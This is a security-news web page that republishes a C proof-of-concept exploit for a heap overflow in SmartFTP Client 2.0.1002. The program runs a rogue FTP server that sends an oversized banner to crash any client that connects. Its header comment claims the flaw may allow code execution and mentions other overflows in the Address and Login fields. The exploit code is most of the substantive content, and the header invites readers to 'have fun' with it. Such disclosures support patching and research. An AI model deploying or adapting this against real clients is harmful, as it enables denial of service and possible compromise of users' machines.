SecuriTeam - SmartFTP Client Heap Overflow DoS (Exploit)

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

There is remote heap overflow in SmartFTP. When the application receives a long banner the heap is smashed, leading to DoS and probably to code execution.

Credit:
The information has been provided by milw0rm.
The original article can be found at: http://www.milw0rm.com/exploits/3277

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Vulnerable Systems:
* SmartFTP Client version 2.0.1002

Exploit:
/*************************************
* SmartFTP Client v 2.0.1002 Heap Overflow DoS *
* *
* *
* There is remote heap overflow in SmartFTP. When the app receives a long *
* banner (5000 char) the heap is smashed, leading to DoS and to code *
* execution. *
* *
* There are also two buffer overflow in the fields Address and Login. *
* I've reported this to Secunia but it seems they didn't think it was dan- *
* gerous cause they didn't publish anything about. However a simple drag'n *
* drop could compromise your system... *
* *
* Have Fun! *
* *
* Coded by Marsu <Marsupilamipowa@hotmail.fr> *
**************************************

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

        char evilbuff[5000];
        sockaddr_in sin;
        int server,client;
        WSADATA wsaData;
        WSAStartup(MAKEWORD(1,1), &wsaData);

        server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        sin.sin_family = PF_INET;
        sin.sin_addr.s_addr = htonl(INADDR_ANY);
        sin.sin_port = htons( 21 );
        bind(server,(SOCKADDR*)&sin,sizeof(sin));
        printf("[*] Listening on port 21...\n");
        listen(server,5);
        printf("[*] Waiting for client ...\n");
        client=accept(server,NULL,NULL);
        printf("[+] Client connected\n");

        memset(evilbuff,'A',5000);
        memcpy(evilbuff,"220 ",4);
        memcpy(evilbuff+4997,"\r\n\0",3);

        if (send(client,evilbuff,strlen(evilbuff),0)==-1)
        {
                printf("[-] Error in send!\n");
                exit(-1);
        }
        printf("[+] Data sent\n");

        Sleep(1500);

        if (send(client,"boom?",5,0)==-1)
            printf("[+] Crashed? Crashed!\n");
        else
                printf("[-] Exploit failed!\n");

        return 0;
}

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)